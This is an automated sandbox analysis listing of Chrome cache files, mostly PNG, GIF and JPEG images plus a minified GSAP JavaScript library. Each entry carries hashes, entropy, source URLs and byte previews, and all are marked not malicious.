Preview:	.PNG........IHDR.......b......M.....tEXtSoftware.Adobe ImageReadyq.e<...miTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:afa8a9e6-9716-4248-82b7-b3c757f3a879" xmpMM:DocumentID="xmp.did:86E4273BDCE311EDA10CE6AB223496F4" xmpMM:InstanceID="xmp.iid:86E4273ADCE311EDA10CE6AB223496F4" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4C2BBCFCCECE11ED8CA89A6D4C87747D" stRef:documentID="xmp.did:4C2BBCFDCECE11ED8CA89A6D4C87747D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.."....CIDATx...1.....0...G..H..NR.........9

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 225 x 225, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	11670
Entropy (8bit):	7.946065098224346
Encrypted:	false
SSDEEP:	192:tCPrdLYVJ4GxwWjaJW/R2S/9DsNLORkwtMdRSumUh0hQdpJlatwHK5KJQZpv:awNYc/z/BRt+QFUhcqQKHGKeZR
MD5:	865B8AFC5077ADC928EDD83AE9A5BBF6
SHA1:	B9FD009D09032A459AF49A320BFCF7AA1B090394
SHA-256:	FC3799489B4370AF05323869B631F2593063B30ABA4E8CD90B8F0C198B97F392
SHA-512:	DC9724B82BC38A9A4527B71F1A8E2B969FAC84CBA9CC84AEC009B2A8D1A130CDBBE1C1F70F688BEE671158D818A454B1EAD58889948990316A1EA55F98634B9B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............E-....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:385E99C7FED411ED9B5A9ED9451F29FD" xmpMM:DocumentID="xmp.did:385E99C8FED411ED9B5A9ED9451F29FD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:385E99C5FED411ED9B5A9ED9451F29FD" stRef:documentID="xmp.did:385E99C6FED411ED9B5A9ED9451F29FD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>. '...*.IDATx..I........gVe.."..K......5.dx<......c.._d.6`.0>.b..}..'....u..g...F..4.ju.%v.[.p/.E.{fd....%"3.X

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1000 x 200
Category:	dropped
Size (bytes):	74577
Entropy (8bit):	7.974415150251052
Encrypted:	false
SSDEEP:	1536:0XrrYt54IY2cBaLJHqKQHbPOfuVui4SA64uC9Txl6jKX6nYsjz3:sYt54MTLJHzQZF4Q4uy36pn/z3
MD5:	6643420C5BBE4BD6E2D8B61837AF3039
SHA1:	95C9FC7AF01C5856BC05914373972CC4320BFB32
SHA-256:	34A0E2070071C1BAC6F17F5EB3DBFC297137792DBCAAFA1203E0C9A78867F7E1
SHA-512:	42F6F1E9BFA527B7E2040E368232B7C25AE93E5D967F3C08E301F8E2780700FA90E01C862C32565A6D8226BF119713AF9745B3BB7C7751D33DFC7741B3E50D65
Malicious:	false
Reputation:	low
Preview:	GIF89a......... .fX...rH...........D....m..)....0....P.34+.......P$..S..O..o..6Gk2.....o.hO.."..).............+....a'O.O&.Q1.n'..D.l).r..pM.....U..G...G...'..J.l.kp..HN'#..f.'/.i..-.....I2.JF..j.M..~j.t&j6+.q.&....,(pQO.R...H.O'.KG.......f.pN..D..p............-....r....D..3..D.."..U.."..i..M..3NKo..w..rMl.....w...n....U.rq.......D....................U.....U..U.....{..D..3..3...........D..f."............U...w.".7.W."...a..-..1"......f..*.1-.R3`%.LE,oN)ng"..HuQn.Mu.n..s3.2....2EM.N..m.mmqIB.tg..MPC.,-..kr.&f...."+OP/Mh..t..}Ktimlk..J.ff..s.R.ff..w...W5.!...ex.yUB.>.fU.x~R.g..D....wf.fwf...Uf..$.,JD."....[..m..n..?h...#u.....Rw.7..(.}.9....C.f.7d.3w.3.X..5..3.f. ....wD"."3."......$.".). .E....fDw."c.CO.+.xD!..fD..".xU.&..cU.!...M.{f.}.............!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00 "> <rdf:RDF xmlns:rdf="ht

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	105110
Entropy (8bit):	7.982701962292156
Encrypted:	false
SSDEEP:	3072:actpCOh6lsY+Dp42S+nmJwLioqwo/D06j02D:acD7AYxssno/D0B+
MD5:	9471D9F426CF275B304AAD329B46C5D1
SHA1:	77364F8E22271D4F8F0ABCCF08BB8AFDF6D88FA5
SHA-256:	B5B95B22B9C7CEEF710FC1CB845465F7F11518738065BBED721A05381604C447
SHA-512:	8C14319D15372122EC9FC77FB8031211F28ABD064E8381659F7929D3721888C2A2B4D5E50A7C800A4B16C5B2361EE01D6030F2D74EAAEDDF42D21E6184986E08
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:433330AEC2E311EDB716D9CF0D20C5DE" xmpMM:InstanceID="xmp.iid:433330ADC2E311EDB716D9CF0D20C5DE" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7B34B7FDBA6111ED9E18B1F319AD2715" stRef:documentID="xmp.did:7B34B7FEBA6111ED9E18B1F319AD2715"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d........C....................................................................C................................................

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	28554
Entropy (8bit):	7.963517559461732
Encrypted:	false
SSDEEP:	768:skOTXNK6BN9fljUB+cBPUXFWYrhBtMYnzujT:0T9RHLa+cBPUIihcYzujT
MD5:	29F225CBF89978DD4ABE3B1ADE93D501
SHA1:	3F8A7669738BCB9FA8FA3551408AE2C83CE73528
SHA-256:	D2ED88F3B14A3056EEC2494BD71018F044727CA549B46AC7A1BB2FE6D82E7239
SHA-512:	C8714D3571E6B8EF7F8F80E2B18457658647E3AC1527EB3B81E8ADD2622E0D16A8A8C38D587B0C0AF43BEEE65DCF14F1D213E7DF938C0D89CD637E41370C0179
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......P...../http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)" xmpMM:InstanceID="xmp.iid:781BDB36C2DC11ED90D7CB303608EE9E" xmpMM:DocumentID="xmp.did:781BDB37C2DC11ED90D7CB303608EE9E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:781BDB34C2DC11ED90D7CB303608EE9E" stRef:documentID="xmp.did:781BDB35C2DC11ED90D7CB303608EE9E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.............................................................................................................................

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (59814)
Category:	downloaded
Size (bytes):	59816
Entropy (8bit):	5.328560778781936
Encrypted:	false
SSDEEP:	768:EpeipRp4JNdqR7VdHtm9nJqGw3h+5bnaAwGnGLufYLna7WboVTwAHzRTZZdvqXdF:EpvpR9ztCJnpr+GGGqboaaLSQi
MD5:	F2131FCF620AC8D58D60047C0F9F1969
SHA1:	54FBA279A660F081DF6BE4FCF1A1F4BC34F8A9AD
SHA-256:	35E3D8F58D1040BE63997D05577B7E6D722FCE92F4F6E323D072267B2B685054
SHA-512:	95EAD9B79BC45181594DD3727661384E94518859FEF550421657D8A962769D236C775AF4852677ACEDE606DE31CB072D0C0704D101DAB037C810D601D0E89A11
Malicious:	false
Reputation:	low
URL:	https://www.hbyczyz.com/resources/assets/lib/js/gsap.min.js?v=0.574
Preview:	!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t=t\|\|self).window=t.window\|\|{})}(this,function(e){"use strict";function _inheritsLoose(t,e){t.prototype=Object.create(e.prototype),(t.prototype.constructor=t).__proto__=e}function _assertThisInitialized(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}function n(t){return"string"==typeof t}function o(t){return"function"==typeof t}function p(t){return"number"==typeof t}function q(t){return void 0===t}function r(t){return"object"==typeof t}function s(t){return!1!==t}function t(){return"undefined"!=typeof window}function u(t){return o(t)\|\|n(t)}function K(t){return(l=pt(t,at))&&ie}function L(t,e){return console.warn("Invalid property",t,"set to",e,"Missing plugin? gsap.registerPlugin()")}function M(t,e){return!e&&console.warn(t)}function N(t,e){return t&&(at[t]=e)&&l&&(l[t]=e)\|\|at}functio

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1000 x 200
Category:	dropped
Size (bytes):	178073
Entropy (8bit):	7.932797416313395
Encrypted:	false
SSDEEP:	3072:kmOFOk0AYABeHXNScStRzJmQ3aNIYlmwLs6CLWBOcV8u2OPvr8qFw8Y79C6vaQgL:1AboHXNXStRzAUauwLaLWBOW7hw8elGV
MD5:	F10B57811B5CBD80CC2ADB677FCBE3E2
SHA1:	9C566090638BACEF4FB11E5CE3798F6162F52770
SHA-256:	F4D197904303977C5B8764801AB45DE427C7EA38E212E9E158AFF5B3BDAD6473
SHA-512:	F3665BCD909BBA365ACB53D64A6E95D2E1212EAF4F1F8A31419611E1D9A839366F058B9014CAA35A429E8492643D49EA7937AFCE230F8FAE1846317AB0A92893
Malicious:	false
Reputation:	low
Preview:	GIF89a........[....I...........^....q.E......p....'*.+Ma[V...M.`...^d.....[..O...e..J......D.+Da.p\..&k...o..L$t.)(-.......MI.mn.".$P..."..p....._?1......n......H..........%.......J.+."K.'Z......D...d.m+.7....#..p>...Kf......l....Ga.r.J.LK.nm 3.....7y..".o..4./..-.......n...!.........EdXs.,#...8...o;.T.....k...s...U...'......f...................................\|...2.<......!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:fbdd4962-d6fc-4d48-aeab-7d5c12827f98" xmpMM:DocumentID="xmp.did:D375101CC27011EE86C486BCC84430D6" xmpMM:InstanceID="xmp.iid:D375

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1000 x 200
Category:	downloaded
Size (bytes):	178073
Entropy (8bit):	7.932797416313395
Encrypted:	false
SSDEEP:	3072:kmOFOk0AYABeHXNScStRzJmQ3aNIYlmwLs6CLWBOcV8u2OPvr8qFw8Y79C6vaQgL:1AboHXNXStRzAUauwLaLWBOW7hw8elGV
MD5:	F10B57811B5CBD80CC2ADB677FCBE3E2
SHA1:	9C566090638BACEF4FB11E5CE3798F6162F52770
SHA-256:	F4D197904303977C5B8764801AB45DE427C7EA38E212E9E158AFF5B3BDAD6473
SHA-512:	F3665BCD909BBA365ACB53D64A6E95D2E1212EAF4F1F8A31419611E1D9A839366F058B9014CAA35A429E8492643D49EA7937AFCE230F8FAE1846317AB0A92893
Malicious:	false
Reputation:	low
URL:	https://www.zhspay.com/zhuye/img/tyc2024.gif
Preview:	GIF89a........[....I...........^....q.E......p....'*.+Ma[V...M.`...^d.....[..O...e..J......D.+Da.p\..&k...o..L$t.)(-.......MI.mn.".$P..."..p....._?1......n......H..........%.......J.+."K.'Z......D...d.m+.7....#..p>...Kf......l....Ga.r.J.LK.nm 3.....7y..".o..4./..-.......n...!.........EdXs.,#...8...o;.T.....k...s...U...'......f...................................\|...2.<......!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:fbdd4962-d6fc-4d48-aeab-7d5c12827f98" xmpMM:DocumentID="xmp.did:D375101CC27011EE86C486BCC84430D6" xmpMM:InstanceID="xmp.iid:D375

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 225x225, components 3
Category:	downloaded
Size (bytes):	4920
Entropy (8bit):	7.195676992099278
Encrypted:	false
SSDEEP:	48:CAvnGS1St8J3HYpEeBgUQ0bUCOqF/aAzSE98xPmwKI2FpcwuNBIajuLjhUbZk/O9:RLmGYpbB1QAz0xypcLD+U1vZCW
MD5:	22BEE551222772824AB963798409AE4D
SHA1:	B796699B821B52F44E94C34F1552C6812C7C5150
SHA-256:	96CA482AAED283A57D2EE35C29863A9EB983F6C2D2C3F94350CB56E1D78C4D1B
SHA-512:	53756DC9F0EAABED84FECCCDF3CD419520BB09AF1EFB5390F5B08CAD3C82F6C24C7D4535AEF93E6CF82ABD841D7B9DE5DBECCD6F82FC2DE6B6BE0A837691B224
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/sichuang/images/2023/04/06/image_1680777847_yF9XedBo.jpg
Preview:	......Exif..II*.................Ducky.......P...../http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:2FFD7726D46911EDA0F68D6F4C082B28" xmpMM:InstanceID="xmp.iid:2FFD7725D46911EDA0F68D6F4C082B28" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D6450D7ACA1711ED9ABFA642A3631339" stRef:documentID="xmp.did:D6450D7BCA1711ED9ABFA642A3631339"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d........C....................................................................C...............................................

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 740 x 610, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	141296
Entropy (8bit):	7.9863613017852755
Encrypted:	false
SSDEEP:	3072:DxEYbOcBlVcxbiETg38PL4VEIPbrfNTNN/OWPSPPnT0UpFH:VEoO0+b/n0RbrftOWQP7P
MD5:	81D83FCBA9BA6A125F1D38C5509D3A9E
SHA1:	01E62EA35AB807ED80825F6E3DC35F9A2E5EA012
SHA-256:	E8777BC3B6198854ED02BCF94B4385303A17037A98B4275645235D87A1C5EA45
SHA-512:	EF727F0C71E90D24844AB6D8318777CF6C48236CD42B418143D291BC19564DEED837B7A6F31DD6C916E49868B31425D83B4E062FA5CBFC1D86930007F17E2E46
Malicious:	false
Reputation:	low
URL:	https://website-ishutime.oss-cn-chengdu.aliyuncs.com/images/2024/05/10/sichuang/image_1715311213_h179c92l.png
Preview:	.PNG........IHDR.......b......M.....pHYs...a...a..?.i....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164360, 2020/02/13-01:07:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2024-05-10T11:30:53+08:00" xmp:MetadataDate="2024-05-10T11:30:53+08:00" xmp:ModifyDate="2024-05-10T11:30:53+08:00" xmpMM:InstanceID="xmp.iid:934c8b34-9f50-5549-bf11-c43a0f6b8c9a" xmpMM:DocumentID="adobe:docid:photoshop:a3770aad-1fc1-ad45-83b1-2b64d9c9384f" xmpMM:OriginalDocumentID="xmp.did:302a535b-8f9e-0b4e-8eb6-75b01f2667ae" photoshop:Color

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	downloaded
Size (bytes):	55478
Entropy (8bit):	7.971386894138309
Encrypted:	false
SSDEEP:	1536:+yDfNwpNxoZlDvbFnyd9nzVym8FgbJiXXe6bs8774riCf:+yDfyT0bhu9nQmBbJiXh771O
MD5:	4E4E580EECC7532C30D60A7CFD05BED3
SHA1:	29CB3BB492150C9AF7C7E678717A0FEAB00382BE
SHA-256:	53BBC2D8DC4E7ED9202018A67A49235D2CD37264CC805C7947BD4B4597257373
SHA-512:	1B3AC808D91FEBF705D5171494DD1004CFCF9DA5505020E57303AD05B215DC92CC0A8B7EAECDC581A1A2092C53659B4EE789D6AA7AF6FA2BB2FB43B044E2DFCD
Malicious:	false
Reputation:	low
URL:	https://www.strlaser.com/resources/assets/images/news2.jpg
Preview:	......Exif..II*.................Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:7F3C8993C2E311EDA8B1AEA6290096D8" xmpMM:InstanceID="xmp.iid:7F3C8992C2E311EDA8B1AEA6290096D8" xmp:CreatorTool="Adobe Photoshop 23.4 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:ADF7E5FEBA8A11ED9E18B1F319AD2715" stRef:documentID="xmp.did:D5B562B4BA8B11ED9E18B1F319AD2715"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..............................................................................................................................

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1000 x 200
Category:	dropped
Size (bytes):	88320
Entropy (8bit):	7.98563360228417
Encrypted:	false
SSDEEP:	1536:VEjG3hLIRIrQLyVViQlNzCFsoVcU2QJRiEtgJcYHw02WUryjeNPWY:2SUaQLyV/TzCFPSU2QJRijU5r28PWY
MD5:	D03CD26D74296657FE5035F3920849B8
SHA1:	9BE05D96796FA7F44616C5223BDF287B2DF8DFCB
SHA-256:	9314C2CB13CF470C9E1776355A6F03674A374C2FF566F02ECDDE4BE513477085
SHA-512:	52A7933EDDE4FDA558F5BB3504814515860DB3E96205E56A3C5056E53385B0A909BC5AD2812C2E58A1FAD1D92DD5E2603210847D7881AAEE9D82C5C9E8230758
Malicious:	false
Reputation:	low
Preview:	GIF89a.........r..........)3#......m.H.....Z...'.L................RSJ(.X...s....C).-...........FSqnnTJLE'.LE.S6X.4lJ-...Zb.#...4J.l..M..d... ......x..[.F3.5&".nK..g.'-D.%E(#..I...{01.H.....E%U.q35..G3%jTO.rHz.......F85.h.......B%H.c.q..o..e.....tu..lT3%.....QU.cr.......G.phLS53k5%%".6"9F2U....rkS4..N...Gud1.l...u..n..RKj...W.754.}T..k_C_..c..P.l..yo.E$5.......... ..........w..Kw4.......'...WlN.U%..Mg71"...P!&...G2GS4G..uo.....).....{%$5.9.....b..~3?.=.S...IIl~/G..\|.Z... 3:... ..O)Z...S&2...-&]_eg@#.\9cN)D.}!.U......;>7...........?y\|{......O.(2&.T....[7......W[Y..W"....;.....6...]..b...H@M.YZ*..n.........................4[.......81.......P8./-......OE.........ppPR.....(.q.....x.....up..5..5.jO.HN.Ia.V3.QL.E6../..4.h..V..[_. ...)%......!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="ht

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4917
Entropy (8bit):	7.843946613662706
Encrypted:	false
SSDEEP:	96:6xVgsS6Vg2FyMsOLJL06VYVRbon3NquiK0h2yzLVne:2o6LpLJLzqLsntzSpe
MD5:	B7A0B01F8DC51313532E8F9EC14CF71C
SHA1:	BBDB4D2C4DB08874B380A6AA127753516002AAEB
SHA-256:	027DD871CCAFE23873AA43E0A87EF7CDF497D895502982E7AD5F1C75C30FC089
SHA-512:	0EFBF91D41D0FCCA1B2B2841F94D8639DB9819F08EC558B930E6ECF1E3CBAFD09E951405833D8504A7EAB5C8B49668E9B29E5C240F38EC731B0A9706F3BA0FA7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...x...x.....9d6.....tEXtSoftware.Adobe ImageReadyq.e<...niTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:ED2F3545C21011EDA9AABE74779D8143" xmpMM:DocumentID="xmp.did:F96C0002FED211EDB07D88AA5427066F" xmpMM:InstanceID="xmp.iid:F96C0001FED211EDB07D88AA5427066F" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:752394d4-9b8e-644f-b99b-3f93ac4591b4" stRef:documentID="xmp.did:ED2F3545C21011EDA9AABE74779D8143"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...l...]IDATx..]..].....d&..`.LH*"m..zT...W

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 95, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5725
Entropy (8bit):	7.833171607976203
Encrypted:	false
SSDEEP:	96:b7lofDt1ISU/yqcQVrWcPV/i8xENhmWrzTAlufSc4jYhQuf:bEB1u2QV7NaqE/mWXTAUScoYhQuf
MD5:	7AF7E111AD2F0CD701F04869A40577C6
SHA1:	AFC33ABBD839201F7A022400672B64BB183E1528
SHA-256:	B16E8D59DF70B518705E3DC0482776CF2C570796C1D8AA9B78EB0E55002BDFEC
SHA-512:	3B9C0A60C009E97FB5D8A5C2F02333352691BDC0A7BC07069A622A40358F988E9EDCA45069EC607310F6FEB3A337767B0DCB91793AA751758D27A557ADA24FCE
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR......._......Q0.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:1AFB391ACA0E11ED812383F134BAD846" xmpMM:InstanceID="xmp.iid:1AFB3919CA0E11ED812383F134BAD846" xmp:CreatorTool="Adobe Photoshop CC 2017 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C555C94BC22F11ED9B2D888A80B31E49" stRef:documentID="xmp.did:C555C94CC22F11ED9B2D888A80B31E49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......IDATx....U..o.SQP.." ...H.M..@l..QP...Q.1....n...8 QT.m.1......A.)$J.. .2.....,.......^.........t.J.._k.W

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	36869
Entropy (8bit):	7.976129516349028
Encrypted:	false
SSDEEP:	768:807oq9ywWF0gEGJar4v6SCTYQySF+K/Dd5V1eBtdHw:8yomywWFxiOjDsdJ5V1iC
MD5:	1347C681A4720B5EFD5AA0277820A793
SHA1:	94EB70C41E63ACDC549BAF99B7183EA5EFD891F1
SHA-256:	61092F7C73D64B42B42F669852036498D564888E1E3AB7E329A6FBD15E6DC385
SHA-512:	B1D421506E4D976839ADEC003BCB65D9034A5DD0F3E429A5F16EFDE6B12A6095C7F730DA3AD5A015A73C37489F228C7DA590968EA011AFD23DC482E401F47A2C
Malicious:	false
Reputation:	low
